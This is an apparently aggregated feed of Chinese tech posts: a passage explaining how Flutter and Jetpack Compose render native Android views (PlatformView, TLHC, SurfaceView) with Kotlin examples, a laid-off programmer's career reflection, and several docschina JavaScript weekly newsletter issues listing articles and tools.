当然,这样带来了一个问题,因为此时原生控件是直接渲染,所以需要在原生的平台线程上执行,纯在 Flutter 的 UI 线程就存在线程同步问题,所以在此之前一些场景下会有画面闪烁 bug 。

虽然这个问题最后也通过类似线程同步实现解决,但是也带来一定程度的性能开销,另外在 Android 10 之前还会存在 GPU->CPU->GPU的性能损耗,所以 HC 属于会性能开销较大,又需要原生控件特性的场景

TLHC

3.0 版本开始支持 TLHC 模式,最初的目的是取代上面这两种模式,可惜最终共存下来,该模式下控件虽然在还是布局在该有的位置上,但是其实是通过一个 FrameLayout 代理 onDraw 然后替换掉 child 原生控件的 Canvas 来实现混合绘制。

所以看到此时上图 TextView 里没有了内容,因为 TextView 里的 Canvas 被替换成 Flutter 在内存里创建的 Canvas

其实 TLHC 流程上和 VD 基本一样,简单对比 VirtualDisplayTextureLayer 的实现差异,可以看到主要还是在于原生控件纹理的提取方式上

从上图我们可以得知:

  • 从 VD 到 TLHC, Plugin 的实现是可以无缝切换,因为主要修改的地方在于底层对于纹理的提取和渲染逻辑

  • 以前 Flutter 中会将 AndroidView 需要渲染的内容绘制到 VirtualDisplays ,然后在 VirtualDisplay 对应的内存中,绘制的画面就可以通过其 Surface 获取得到;现在 AndroidView 需要的内容,会通过 View 的 draw 方法被绘制到 SurfaceTexture 里,然后同样通过 TextureId 获取绘制在内存的纹理

从这个简单流程上看,这里面的关键就在于 super.draw(surfaceCanvas); ,给 Android 的 View “模拟” 出来工作环境,然后通过“替换” Canvas 让 View 绘制需要的 Surface 上合成:

那 TLHC 有什么问题?因为它是通过“替换” Canvas 来得到 UI ,但是这种实现天然不支持 SurfaceView等场景,因为 SurfaceView 是自己独立的 Surface 和 Canvas,所以通过 parent 替换 Canvas 的实现并不支持。

所以目前的 PlatformVIew 支持上的结果:

  • 默认会是 TLHC 模式,如果发现接入的 View 是 SurfaceView ,那么就会“降级”使用 VD 来适配
  • 可以通过 initExpensiveAndroidView 接口强行使用 HC

详细链接:

Compose

Compose 的 PlatformView 原理这里可以详细聊聊,这个目前的资料不多,比较有聊的价值。

众所周知,Jetpack Compose 虽然是 Android 平台的全新 UI 开发框架,但是它的 UI 渲染树和「传统 xml View 控件」是“不直接兼容”的,Compose 属于独立的 UI 库,它的 UI 模式更接近 Flutter ,但是 @Composable 函数又不是和 Flutter 一样 return ,在实际工作中,Compose 代码在编译时会给 @Composable 函数添加 Composer 参数 ,而实际的 UI Node Tree 等的创建,都是从“隐藏”的 Composer 开始:

详细可见:juejin.cn/post/745892…

所以,一旦你需要在 Jetpack Compose 里接入一个原生控件,你就需要用到 PlatformView 的相关实现,PlatformView 本质上就是把「传统 xml View 控件」渲染进 Compose 渲染树里,而在 Compose 在 Android 平台,使用的就是 AndroidView

@Composable
fun CustomView() {
    var selectedItem by remember { mutableStateOf("Hello from View") }

    // Adds view to Compose
    AndroidView(modifier = Modifier.fillMaxSize(), // Occupy the max size in the Compose UI tree
        factory = { context ->
            // Creates view
            TextView(context).apply {
                text = "Hello from View"
                textSize = 30f
                textAlignment = TextView.TEXT_ALIGNMENT_CENTER
            }
        }, update = { view ->
            // View's been inflated or state read in this block has been updated
            // Add logic here if necessary

            // As selectedItem is read here, AndroidView will recompose
            // whenever the state changes
            // Example of Compose -> View communication
            view.text = selectedItem
        })
}

如上代码所示,通过 AndroidView 我们可以把一个 Android 传统的 TextView 添加到 Compose 里,当然这没什么实际意义,只是作为一个简单例子。

渲染之后,我们可以看到在 Layout Inspector 的 Component tree 里并没有 TextView ,因为它只是被渲染到 Compose 里,但是它其实并不是 “直接” 存在于 Compose 的 LayoutNode ,它只是“依附”在 AndroidView

想知道 AndroidView 的工作原理,我们需要看它的 factory 实现,从源码我们可以看到,它主要是通过 ViewFactoryHolder 创建了一个代理 layoutNode 来“进入” Compose 渲染树:

而 Android 上 ViewFactoryHolder 的实现主要在它基类 AndroidViewHolder ,这里可以看到 AndroidViewHolder 那可是一个“实实在在”的传统 ViewGroup 实现

我们可以假设,我们前面的传统 TextView ,在 AndroidView 内部实际上就是被添加到 AndroidViewHolder 这个 ViewGroup 里 ,而且这里还有一个 Owner ,从命名上也很“关键”。

带着这两个问题,我们继续看,首先我们在 AndroidViewHolder 里可以看到有 layoutNode 的实现,也就是其实这个 Holder ,它既是传统 ViewGroup ,又具备 Compose 里的 layoutNode 实现

通过查看 layoutNode 的实现,我们可以看到:

  • layoutNodeonAttach 到 Compose 布局里的时候,会执行 addAndroidView ,其实这里的 addAndroidView 内部,就是一个 ViewGroupaddView 操作
  • 另外,在 layoutNode 被 onDetach 时执行 removeAndroidView ,内部也就是 ViewGroupremoveViewInLayout
  • 另外还有通过 MeasurePolicy 处理布局,简单说就是将 Compose 的布局状态同步到 AndroidViewHolder 这个 ViewGroup 去布局,给 「传统 XML View」“模拟” 布局环境。

所以我们可以看到,AndroidViewHolder 类似一个“中转站”,它将 Compose UI 的生命周期和测绘布局状态同步到传统 ViewGroup 控件,从而给添加进来的 TextView “模拟” 出布局和绘制环境,大概可以总结:

AndroidViewHolder 类似于 Compose 代理 Node,它 Compose 中的 UI 环境“模拟”到 ViewGroup 中,通过控制 ViewGroup 的绘制与布局来控制我们的「传统 xml View 控件」

那么 AndroidViewHolder 肯定就是从 onAttach 开始进入 Compose 的 LayoutNode 体系工作,这里关键在于 AndroidComposeView 的这个操作:

(owner as? AndroidComposeView)?.addAndroidView(this, layoutNode)

这里又冒出来一个新对象 AndroidComposeView ,它就是我们前面所说的 owner ,那它又是什么?

我们看 AndroidComposeView 的源码,可以看到 AndroidComposeView 同样是一个 ViewGroup ,它的内部主要是有一个 AndroidViewsHandlerViewGroup 在处理 AndroidViewHolder ,比如前面的 addAndroidView 就是将 Holder 添加到 Handler

那到这里就有三个东西:

  • AndroidComposeView
  • AndroidViewsHandler
  • AndroidViewHolder

它们都是传统 ViewGroup 的实现,且关系大概如下所示:

那么到这里,流程上我们应该就清晰了,我们只需要搞清楚 AndroidComposeView 是什么,来自哪里,然后往下,大概就可以理清它的实现。

我们通过 AndroidComposeView 内部有个 root 节点的实现,可以猜测它应该是一个顶层节点,所以我们直接从顶部开始找:

我们从 Activity 开始往下找,经过几个简单调整,就可以在 AbstractComposeView.setContent 找到创建 AndroidComposeView 的地方:

因为 AbstractComposeView 的实现是 ComposeView ,所以可以看到:

AndroidComposeView 是在初始时被 ComposeView 创建并 addView ,然后 Composition 里 UiApplier 的 root 节点就是 AndroidComposeView

所以这就是为什么前面我们那个 owner 为什么是 AndroidComposeView 的来源,然后往下就是 AndroidViewsHandler ,它主要就是持有所有 Holder ,然后根据调用给它的 children 执行各种布局和绘制操作:

所以我们就知道了:

  • 在初始化的时候,Compose 就会创建一个顶层 ViewGroup 节点 AndroidComposeView ,它是一个 root LayoutNode
  • AndroidComposeView 内部的 AndroidViewsHandler 会通过一个 hashMap 去触发和管理 children Holder 的布局和重绘
  • AndroidViewHolder 是一个代理 LayoutNode ,同时它将 Compose UI 的生命周期和测绘布局状态同步到传统 ViewGroup 控件

大概会是下面这样的结构,但是它虽然被 addViewViewGroup 里,但是它并不会直接渲染在 ViewGroup 里 ,而是「被代理渲染」到 LayoutNode 对应的 Scope 里

比如我们接入了两个 SurfaceView 到 Compose ,如果我们打印传统布局结构,大概可以看到这样的一个结果,:

这里举例的 SurfaceView 后面会顺便聊聊 。

最后就是绘制,知道流程后,我们直接看回 AndroidViewHolder 里的 layoutNode 实现,在这里有一个来自 drawBehindcanvas

一般情况下,drawBehind 修饰符可以想任何可组合函数后面绘制内容时,例如:

Text(
    "Hello Compose!",
    modifier = Modifier
        .drawBehind {
            drawRoundRect(
                Color(0xFFBBAAEE),
                cornerRadius = CornerRadius(10.dp.toPx())
            )
        }
        .padding(4.dp)
)

而这里的 Canvas 是来自 DrawScopeDrawScope 属于一个针对 Canvas 接口的高级封装,内部 Canvas 的底层支持还是原生平台的 Canvas ,因为 Compose 有多平台支持,而 Android 平台对应的就是 AndroidCanvas 对象,这里是通过 canvas.nativeCanvas 获取到的,就是 android.graphics.Canvas 对象,也就是传入了一个 Android 原生 Canvas

流程上如下图所示,这里的核心其实就是:将 Compose 里 drawBehind 的 Canvas 传递给「传统 XML View」,这样在绘制时用的就是来自 Compose 体系 drawBehind 的 Canvas 链条

所以这里可以看到,在绘制的时候,采用的其实就是通过 AndroidViewHolder 这个 ViewGroup 作为 Parent 来 “替换” 掉作为 child 的传统 View 的 Canvas ,让 View 的内容通过 Compose 的 Canvas 绘制到它所在的 LayoutNode 上

另外, pointerInteropFilter 也会处理手势事件,用户在当前 LayoutNode 交互的手势,会被发送到 AndroidViewHolder 这个 ViewGroup ,从而触发传统 Androd 控件的点击等效果。

最后,在 navigate 切换的时候, AndroidViewHolder 也会相对应的被 add/remove 。

从这角度看,Compose 的 PlatformView 实现和 Flutter 的 TextureLayer 理念很接近,都是通过“替换” Canvas 和“模拟”布局环境来实现 View 接入,但是,它们又有本质不同,这个不同就体现在 SurfaceView

因为 SurfaceView 是有自己独立的 Surface 和 Canvas ,所以它是无法被 Parent 的 Canvas “替换” ,这也是 Flutter 里 TLHC 的问题,但是在 Compose 里,你会发现 SurfaceViewAndroidView 里可以正常工作:


@Composable
fun ContentExample() {
    Box() {
        ComposableSurfaceView(Modifier.size(100.dp))
        Text("Compose", modifier = Modifier
            .drawBehind {
                drawRoundRect(
                    color = Color(0x9000FFFF), cornerRadius = CornerRadius(10.dp.toPx())
                )
            }
            .padding(vertical = 30.dp))
    }
}

@Composable
fun ComposableSurfaceView(modifier: Modifier = Modifier) {
    AndroidView(factory = { context ->
        SurfaceView(context).apply {
            layoutParams = ViewGroup.LayoutParams(
                ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT
            )
            holder.addCallback(MySurfaceCallback())//添加回调
        }

    }, modifier = modifier)
}

class MySurfaceCallback : SurfaceHolder.Callback {
    private var _canvas: Canvas? = null
    override fun surfaceCreated(p0: SurfaceHolder) {
        _canvas = p0.lockCanvas()
        _canvas?.drawColor(android.graphics.Color.GRAY)//设置背景颜色
        _canvas?.drawCircle(100f, 100f, 50f, Paint().apply {
            color = android.graphics.Color.YELLOW
        })//绘制一个红色的图像
        p0.unlockCanvasAndPost(_canvas)
    }
}

可以看到,上面代码的 SurfaceView 灰色的背景和黄色的圆都被渲染出来,另外 TextCompose 文本也正常带着背景色覆盖显示在 SurfaceView 上:

有没有觉得奇怪,为什么 SurfaceViewCanvas 没有被替换,但是 SurfaceView 的内容和层级却又正常渲染在了 Compose UI 树里?

其实道理很简单,虽然 Compose 和「传统 XML View」 是两套 UI 框架,但是 Compose 的本质还是 Android 里面的 View ,也就是它依旧在 View 体系的范畴内

依赖 Android 的 Surface、Window、SurfaceFlinger 体系去渲染。

我们简单回忆下 SurfaceView 是怎么工作的?

  • Android 里控件基本都是以 View 为基类,所有可见 View 对象都会渲染到一个 Surface ,这个 Surface 来自 SurfaceFlinger ,也就是当前 Window 下。

  • 尽管 SurfaceView 继承自类View,但是它有自己独立的 Surface,是直接提交到 SurfaceFlinger

这也是 SurfaceView 会有自己独立 Canvas 的原因,简单说它是一个可以绘制到 Surface 并直接输出到 SurfaceFlinger 的视图。

一般情况下, SurfaceView 在其 Window 层上始终是一个透明的 Rect,类似于 SurfaceView 在其窗口中打了一个洞 , 并且默认情况下,SurfaceView 的 Z 顺序始终低于其附加的 Window 层,也就是 SurfaceView 的 Surface 是在默认 Surface 的下面。

而最终渲染时,SurfaceFlinger 会将 SurfaceView 的图像层和 Window 的图像层叠加在一起

那么回到 Compose,Compose 的底层还是一个传统的 View ,所以它还是依赖 View 的 Surface 和 SurfaceFlinger,也就是:

Compose 和「传统 View」 共用同一个 Window 和 DecorViewAndroidView 作为一个桥接节点,将「传统 View」 “插入” 到 Compose 的布局树中,虽然 SurfaceView 绘制内容是独立的,但在屏幕上是共享一个 WindowSurfaceFlinger 依然会统一管理窗口合成。

如给上方 SurfaceView 的代码加上 setZOrderOnTop(true),就会看到 Compose 的 Text 看不到了,因为此时的 Z 层面发生了变化:

这就是 Compose 和 Flutter 在 AndroidView 上最大的区别:

Flutter 是完全脱离了渲染体系,但是 Compose 还是在 View 体系内,所以 SurfaceView 不会是问题,甚至官方还推出了 SurfaceView 对应的 Compose 封装 AndroidExternalSurfaceScope

只是说,在 「传统 XML View」 体系中,每个 View 会有一个 RenderNode,而 Compose 中“一般”只有 ComposeView 一个 RenderNode,也就是传说的单页面状态,而 Compose 内部最终就是将自己的 LayoutNode 通过 Composer 组合完成后塞到 RenderNode 里面。

最后

可以看到,在 Android 平台上, Flutter 和 Compose 在最终实现思路很接近,大家都叫 AndroidView理念都是“模拟”环境和“替换” Canvas ,但是在 Android 平台上 Compose 有着原生 View 体系的优势,所以它对 SurfaceView 的支持更友好。

by 恋猫de小郭 at January 20, 2025 12:16 AM

juejin career

30岁的程序媛,升值加薪与我无缘

前言

上篇讲述了一位老哥的10年搬砖历程《不容易,35岁的我还在小公司苟且偷生 》,有位小姐姐看了之后比较有感触,希望我能将她的故事也讲讲,看看能否有共鸣的朋友。

程序媛的前半生

我今年30岁,无房无贷孑然一身。

出生在95年的沿海小镇(隶属八山一水一分田的省份),我四岁那年父母终于如愿以偿地迎来了弟弟,从此以后弟弟就是家里的中心。

高考填报自愿的时候,想到远点的地方上大学,最终上了四川的一所院校。坐了将近三十个小时的列车,也就是那会儿才真真体会到了书上说的:"我国地势西高东低,幅员辽阔"。

专业学的信息工程,大学那会班里男多女少,大家都挺照顾我的,性格也变得开朗了许多,谈了个男朋友,我们相约考个985院校的研究生。
那年春天,考研成绩出来,我没过线,他低空掠过,接受调剂到另一个省读研,然而正当我打算二战的时候,被分手了...

image.png

因为考研错过了秋招,春招也只剩了尾巴,也不打算二战了,家里人让我回去找工作,不过我还不太想回去,先找工作再说。幸好平时跟着班里的大牛们一起做过项目,项目虽小,但知其然也知其所以然,花了2个月终于找到一份前端的工作。

2018年入职成都北部郊县的一家小创业公司,公司主营业务是硬件,互联网软件是辅助,前端+后端也就6个人,没想到前端除了我还有另一个妹子。
那会工资比较低,自己也知道本身有几斤几两,为了节省开支,每天都带饭,当然每天也是按时下班,下班后先把第二天要带的饭菜准备好之后,再花一小时提升自己的技术(主要是看别人的轮子),最后边做面膜边刷美剧打发时间,直到窗外的喧闹声逐渐隐去,我也入睡啦。

平淡的日子真的淡如水,印象比较深的是有个晚上需要紧急修复Bug,要去公司对齐方案,尴尬的是,最终查出来不是我的问题。回家的路上,看着昏暗路灯下长长的影子,莫名的感觉害怕,越怕走的越快,越快影子越长,终于看到小区门口有个抽烟保安叔叔,赶紧飞奔过去。当进入小区的那刻,回过头来,却怎么也找不到影子了。从那时起,暗下决定,再也不加班了。

2020年7月,刚好在公司待了两年,周围的同事都换了一半的新面孔,不少同事去了南边,在小聚的时候他们说起了南边的机会比这多多了,让我考虑考虑。我也仔细思考了自己的处境,软件在这家并不是主营业务,想找一家纯互联网的公司,最主要的是这两年没有涨薪,新来的小伙伴工资都比我高,于是也暗中投递了简历。
运气不错,一个月内面了4、5家,最终选定了一家互联网公司,工资是上家的两倍,当时暗自感叹同一个城市差距咋那么明显。

新的公司,单单是前端的研发都有30+人,而这还只是成都分部的。刚开始很是珍惜这份机会,任劳任怨,偶尔也会加班表现一下。后面逐渐和同事们混熟了,才发现自己的工资就是垫底的存在,瞬间加班的动力跌至冰点。
在这公司接触了更多的业务,学习了很多技术知识,甚至知道有些同事大佬自己创造轮子。也许是我比较菜,或是我工资比较低,领导给我的任务都不会太难,我也没出过什么幺蛾子。每年都有涨薪的机会,当然每年都没我的份,在这块我是有心理预期的,因此也不会失落(或许是已经麻木了?)。

23年底开始,陆续有同事拿到了大礼包,甚至有一次我刚从厕所出来,对面的同事的工位就空了。问了才知道,谈妥了,立马走。
到了24年初,小组内陆续走了一半的同事,直属领导找我谈话问我想法,我说我比较懵,明明我在组内最菜,为啥走的不是我。领导说,相比而言你的性价比较高,我暗想:直说我薪资低呗~。
到了24年底,还暗自庆幸自己能挺过最艰难的一年,没曾想拿到了大礼包,没有任何挣扎,签协议走人。

休息了一个月,尝试投递简历,直到现在才有两次面试邀约,神奇的是这两家都会问我同一个问题:结婚了没,打算多久结?我:???
我决定了,以后进行自我介绍的时候先发制人,本人未婚未孕未育。
面试结果最终当然是不了了之了。

直到成为自由人才深刻体会到今年寒气之重,都结冰了。

image.png

还好申请了失业保险金,聊以慰藉吧。

经过了用人市场的洗礼,在三月份之前都不打算投递简历了,反正都是石沉大海。
刚好有时间多休息,多去看看以前没去的地方(虽然大部分是穷游),节后再做打算吧。

image.png

30岁的我,在人们眼中是个剩女。
30岁的我,阴差阳错学了技术。
30岁的我,没造过一个技术轮子。
30岁的我,远离家乡几千里。
30岁的我,在领失业保险金。
30岁的我,也许会离开这座城市。
30岁的我,祝朋友们所愿皆所得。

by 小鱼人爱编程 at January 20, 2025 12:15 AM

January 19, 2025

docschina weekly

690 期 -


title: 690 期 -
editors:

  • Yucohny
    description:

🔥 本周热门

How 1Password Used esbuild to Cut Browser Extension Build Times —— 1Password is a popular password management tool that relies upon a browser extension to fill out passwords on the Web. At over a minute for a single build, things were starting to drag for the devs. Could esbuild help? A fun story with plenty of technical details.

Jarek Samic

Next.js 15 Release Candidate —— The popular React meta framework gets ready for a major new release with a RC giving you an opportunity to experiment with React 19 (and React Compiler) support, executing code after a response with next/after, and a few potentially breaking changes.

Delba de Oliveira and Zack Tanner

aem1k: A Variety of JS Hacks and Creative Coding —— This is a fun one. Martin really captures the joy and expressiveness of JavaScript and the Web with his collection of projects, whether it’s offering a NSFW-named tool to convert your JavaScript into just six characters, rendering a spinning globe in 1KB of JS, the Game of Life in 176 bytes, and many more such experiments.

Martin Kleppe

快讯:

  • The folks behind the long standing Gulp build tool are running a survey to help make Gulp better and suit modern needs. It closes tomorrow.

  • 🫠 JavaScript's creator Brendan Eich popped up on Twitter/X to refute a claim that JS is "the most slop" by saying it's only 50% so.. I don't get it either.

  • If you haven't gone down the JSR rabbit hole yet, let ▶️ Ryan Dahl convince you through his DevWorld 2024 talk. (29 minutes.)

  • Three.js introduces its own 'TSL' shader language as a way to write WebGPU shaders with JavaScript rather than the WebGPU Shading Language.

📒  教程与趣事

10 Modern Node.js Runtime Features to Start Using in 2024 —— If it ever feels like the new feature spotlight shines too much on Bun or Deno, never fear - Node.js has been taking huge strides forward too. Liran looks at lots of what’s new.

Liran Tal

ECMAScript 2023 Feature: Symbols as WeakMap keys —— Dr. Axel continues his look at language features by explaining what WeakMaps are for and why using symbols for keys has added benefits.

Dr. Axel Rauschmayer

▶ uBlock Origin: Let's Read the Code —— A prolific code reader spends some time digging into the popular ad blocker that’s almost entirely built in JavaScript.

Ants Are Everywhere

Why We Need a Standard JavaScript ORM for SQL Databases —— ..and is it Drizzle?

Paul Scanlon (The New Stack)

Want Out of React Complexity? Try Vue —— A high level piece that may provide some context if you haven’t dabbled with Vue yet.

Richard MacManus (The New Stack)

📄 Why We Don't Have a Laravel For JavaScript... Yet

Vince Canger(Wasp)

📄 It’s Not Just You, Next.js is Getting Harder to Use

Andrew Israel

📄 How to Create a Modal in React with HTML's <dialog>

Colby Fayock

📄 What's New in Angular 18

Gergely Szerovay

🛠  代码与工具

Regexper: Display JavaScript Regular Expressions as Railroad Diagrams —— Might come in handy for learning regular expressions or if you have a complex regular expression and you don’t know what it does (not an uncommon situation..!)

Jeff Avallone

Hono v4.4: The Standards-Based JS Web App Framework for Everywhere —— Hono is a small, fast web framework with a straightforward API, middleware support, and that runs pretty much on anything (Deno, Bun, Node, Cloudflare, and more). v4.4 brings it to JSR, adds timeout middleware, and a helper to get information about connected clients.

Yusuke Wada and Contributors

Inertia.js v1.1: Build SPAs for Any Backend —— Inertia acts as ‘glue’ between various frontend libraries (React, Vue, or Svelte, say) and server-side frameworks (e.g. Rails or Laravel).

Jonathan Reinink

ShareDB v5.0: Realtime Database Backend Based on Operational Transformation —— For when you need real time synchronization of JSON documents (such as for behind a real time collaboration app).

ShareJS

Qlock: A JavaScript Quine Clock —— We linked to Martin's array of creative JavaScript experiments earlier, but why not finish with one that particularly tickled us? A quine is a program that takes no input but manages to produce, as output, its own source code. Here’s a fun JavaScript example that isn’t merely a quine, but a clock too.

Martin Kleppe

版本发布:

by Yucohny at January 19, 2025 03:45 PM

689 期 - SolidStart v1.0 发布:未来框架的形态?


title: 689 期 - SolidStart v1.0 发布:未来框架的形态?
editors:

  • Yucohny
  • Zhper
  • TimLi
    description: SolidJS 是一个受 React 启发的声明式 UI 库,但注重性能,模板被编译为直接接收 DOM 更新的真实 DOM 节点——因此无需虚拟 DOM。SolidStart 是一个用于构建和部署 SolidJS 应用程序的框架,开箱即用的众多强大功能使其非常吸引人。

🔥 本周热门

使用 p5.js 创建真实的手写效果 —— Amy 想要在她制作的一些图表中以编程方式加入她的(连笔)手写效果,并找到了使用 p5.js 实现这一目标的方法。这篇文章介绍了她的实现过程。

Amy Goodchild

SolidStart v1.0 发布:未来框架的形态? —— SolidJS 是一个受 React 启发的声明式 UI 库,但注重性能,模板被编译为直接接收 DOM 更新的真实 DOM 节点——因此无需虚拟 DOM。SolidStart 是一个用于构建和部署 SolidJS 应用程序的框架,开箱即用的众多强大功能使其非常吸引人。

SolidJS 核心团队

Angular v18 发布 —— 这个大型框架在去年通过 Angular 17 和其 新主页 得到了大规模的公众复兴。进展继续,增加了对无 zone 变更检测的实验性支持,以及新的内置控制流方法的稳定实现。

Minko Gechev

快讯:

📒  教程与趣事

瓶中的城市:256 字节的光线投射 —— Frank 以使用最少量的 JavaScript 组合出令人惊叹的视觉演示而闻名,这个演示也不例外。他详细介绍了演示的工作原理。

Frank Force

Chrome DevTools 提供 AI 工具来理解错误和警告 —— 不是每个人都喜欢,但它是可选的。另外:第一个需要年满 18 岁的 Chrome 功能是什么?

Guo,Emelianova 与 Yeen(Google)

📊 使用 Chrome DevTools 进行 JavaScript 性能分析的指南 —— 如果你更喜欢没有 AI 的调试体验,请放心。这是使用 Chrome DevTools 探索性能问题的实用全面的练习。

Jiayi Hu

📄 ECMAScript 提案:正则表达式的重复命名捕获组

Dr. Axel Rauschmayer

📄 挖掘 PDF.js 中的任意 JavaScript 执行漏洞

Codean Labs

📄 创建组件库时面临的困境

Andrico Karoulla

📄 TypeScript 的品牌类型

Carlos Menezes

🛠  代码与工具

🖋️ Signature Pad v5.0:平滑的签名绘制控制板 —— 如果你需要人们在网上给你签名,用这个让他们写出难以理解但具有法律约束力的涂鸦。这是 GitHub  仓库

Szymon Nowak

版本发布:

by Yucohny,Zhper,TimLi at January 19, 2025 03:45 PM

688 期 - Google 发布 Web Platform Dashboard


title: 688 期 - Google 发布 Web Platform Dashboard
editors:

  • Yucohny
    description: 在 Google I/O 大会上,Google 团队发布了 Web Platform Dashboard,这是一种查看作为一组功能的 Web 平台的方法,以及它们的跨浏览器支持情况。

🔥 本周热门

📄 为 JavaScript 包编写文档 —— Deno 团队在这篇文章展示了 JSDoc 的价值,并说明了如何将文档与常规源码一起编写。

Deno 团队

深入研究 Promise.withResolvers() 提案 —— Dr. Axel 深入研究了提案中的 Promise.withResolvers 功能(现已达到 Stage 4),并解释了为什么可能会更喜欢使用它来更优雅地创建 Promise。

Dr. Axel Rauschmayer

现在可以开始尝试 React 编译器 —— 本周 React Conf 的一个重要项目是 React 实验性编译器的开源,用于在构建时优化 React 代码。他们还创建了一个 React 编译器游乐场 供大家试验。

React 团队

快讯:

📒  教程与趣事

使用 Bun 和 TypeScript 让 GitHub 个人资料动态化 —— GitHub 提供了上传 个人资料 README 文件 的功能,该文件会显示在用户页面顶部。如果想让它动态更新为最新的博客文章链接、统计数据或其他信息,可以使用一些 JavaScript 和 GitHub Action 来实现。

Duy Ng

和我一起学习 Hono

Takuya Matsuyama

📄 Web 框架的癌化 —— 框架是否都开始变得相似了?

Jacob Kofoed

📄 帮助非 JavaScript 重点网页设计师了解 JavaScript 的五个基本知识

Chris Coyier

📄 为了乐趣和利润进行个人规模的网络爬虫

Sean Morrissey

🛠  代码与工具

🕹️ 雅典娜危机:一个由 JavaScript 驱动的高质量游戏 —— 一款可在 Steam 商店 上购买的商业回合制策略游戏,但现在拥有开源的引擎和工具。该游戏由 GitHub 联合创始人 Chris Wanstrath 创立的独立游戏发行商 Null 发行。

Christoph Nakazawa

fuzzysort v3.0:快速模糊搜索库 —— 查看 在线示例 —— 它确实感觉很快。

Stephen Kamenar

Vue Fluid DnD:一个用于 Vue 的动画拖放库 —— 专为项目列表设计,现在可以在此处查看各种 示例,包括一个可以使用手柄拖动项目的示例。这是 GitHub 仓库

Carlos Jorge Rodriguez

Code Screenshot:一个用于创建代码截图的 VS Code 扩展 —— 它会将代码加载到 此网站(如果不想安装扩展,可以直接使用该网站),可以在该网站调整设置/主题,并导出为 PNG 或 SVG。

Vkrsi / Visual Studio Marketplace

版本发布:

  • zx v8.1 – Google 的更好 Node shell 脚本工具。现在支持 CommonJS 和 ESM,增加了对 Node 版本的支持,并支持 Deno 1.x。

  • ReacType v21 – React 应用的可视化原型工具。

  • alphaTab v1.3 – 音乐符号和吉他指法表渲染库。它还能播放音乐,虽然机器上的吉他颤音听起来有点奇怪。

  • React Awesome Query Builder v6.5 – 逻辑查询构建器控件。这是 演示

  • 🎨 jquery-color v3.0 – 用于颜色操作和过渡的 jQuery 插件。

  • Jdenticon v3.3 – 生成几何“identicons”。

  • OverlayScrollbars v2.8 – JavaScript 自定义滚动条插件。

by Yucohny at January 19, 2025 03:45 PM

687 期 - 从愚人节项目中学习酷炫的多人合作戈德堡机械模拟器


title: 687 期 - 从愚人节项目中学习酷炫的多人合作戈德堡机械模拟器
editors:

  • Yucohny
  • TimLi
  • Zhper
    description: xkcd 今年又制作了一个酷炫的愚人节项目,一个巨大的、带物理引擎的合作戈德堡机械模拟器。Figma 团队也介绍了如何从 Skew 平滑迁移到 TypeScript。

🔥 本周热门

来自 xkcd 的“机器”开发笔记 —— 为了今年的愚人节笑话,他们发布了 “机器”,一种巨大的戈德堡机械模拟器。在技术上,它主要使用了大量的 TypeScript 和 Haskell。这是 GitHub 仓库

Max Goodhart

Figma 迁移到 TypeScript 的历程 —— Figma 团队介绍了他们是如何将自己编写的 Skew 编程语言 的代码自动迁移到 TypeScript 的,而不会中断任何一天的开发。

Brandon Lin(Figma)

Gulp 从未消失;参与 Gulp 开发者调查 —— 许多在多年前引起轰动的优秀工具现在虽然被很少提到,但是仍然运作良好。这也包括 Gulp,一个最初于 2013 年发布的构建系统和工具包。Gulp v5.0 在上月发布,他们团队正在致力于使其变得更好。如果你想帮忙,可以 在这里参与他们的调查

Clarissa Abidog

快讯:

📒 教程与趣事


▶  无缝拖放应用程序间的交互 —— 这是一个使用浏览器 API 创建更优雅的拖放体验的绝佳演示,甚至可以在不同的浏览器窗口或 IFRAMEs 之间工作,由 Atlassian 的 Pragmatic Drag and Drop 库进行重度支持。

Alex Reardon

为何全局补丁是有害的 —— 修改全局 API 以扩展其功能是常见的,但如果你喜欢可读性、维护性和可预测性,那么这并不可取。

Artem Zakharchenko

“在某个时刻,JavaScript 变得很好” —— 作者指出 JavaScript 在 ES6 中得到了“大提升”,并赞扬了自那时以来的持续改进。或许并不令人惊讶,在 Hacker News 上的一场热烈讨论 强调了一些持续存在的总体不满。

Jonathan Beebe

📄 如何在关闭标签页时安全地发送请求 —— 经常被遗忘的 sendBeacon() 来拯救。

Zachary Lee

📄 使用 React Three Fiber 探索 3D 文本扭曲效果

Nine / Codrops

📄 使用 yt-dlp、Whisper.cpp 和 Node 自动生成播客节目笔记

Anthony Campolo

📄 React 开发者学习 SolidJS 的指南

Tristan Dyer

📄 为什么选择 React Query?

UI․dev

🛠 代码与工具

Pintora:一个可扩展的文本-图表渲染库 —— 和 Mermaid 的想法类似,但对待扩展性的态度不同,同时不需要无头浏览器的服务端。介绍文档 同时有可视化示例和代码示例。

Hikerpig

jQuery 到 JavaScript 的转换器 —— 一个基于浏览器的工具,可以快速地将 jQuery 脚本转换为非 jQuery 代码。这里是 GitHub 仓库

lightGallery

DerbyJS 4:成熟的 MVC Web 框架 —— Derby 经历了 Node.js 的大部分历史,并且在某些情况下依然是 构建实施性、交互性应用程序 可行选择。这里是 GitHub 仓库

Nate Smith et al.

graphql-request v7.0:极小的 GraphQL 客户端 —— 现在是完全的 ESM 包,对客户端和服务端都有一流的 TypeScript 支持。

Jason Kuhrt

Fabric.js:SVG-to-Canvas 和 Canvas-to-SVG 的库 —— 在 HTML 画布之上提供了一个交互式对象模型,以便更容易地处理多个可视化元素。这是一个长期存在的项目,v6 已经筹备了一段时间,并且最近发布了 第一个候选版本

Fabric.js

版本发布:

by Yucohny,TimLi,Zhper at January 19, 2025 03:45 PM

686 期 - TypeScript v5.5 测试版发布


title: 686 期 - TypeScript v5.5 测试版发布
editors:

  • Yucohny
  • Zhper
    description: 它不会是最终版本(预计在一两个月内),但 v5.5 版本受许多人的期待,因为它有许多增强,包括推断类型谓词、通过注释在 JSDoc 中导入类型的能力、regex 语法检测、独立声明等等。

🔥 本周热门

“为什么不推荐用const以及你很可能用错了" —— 这是一场 12 分钟的关于 constlet 错误用法的有趣演讲。这肯定会激起一些强烈的反应(在 Twitter 的帖子 上可以看到),但请让他表达自己的观点!

Ryan Florence

TypeScript v5.5 测试版发布 —— 它不会是最终版本(预计在一两个月内),但 v5.5 版本受许多人的期待,因为它有许多增强,包括 推断类型谓词、通过注释在 JSDoc 中导入类型 的能力、regex 语法检测、独立声明 等等。如果你需要更多实际的示例,Matt Pocock 🐦 写了一篇很好的 Twitter 帖子

Microsoft

快讯:

📒 教程与趣事

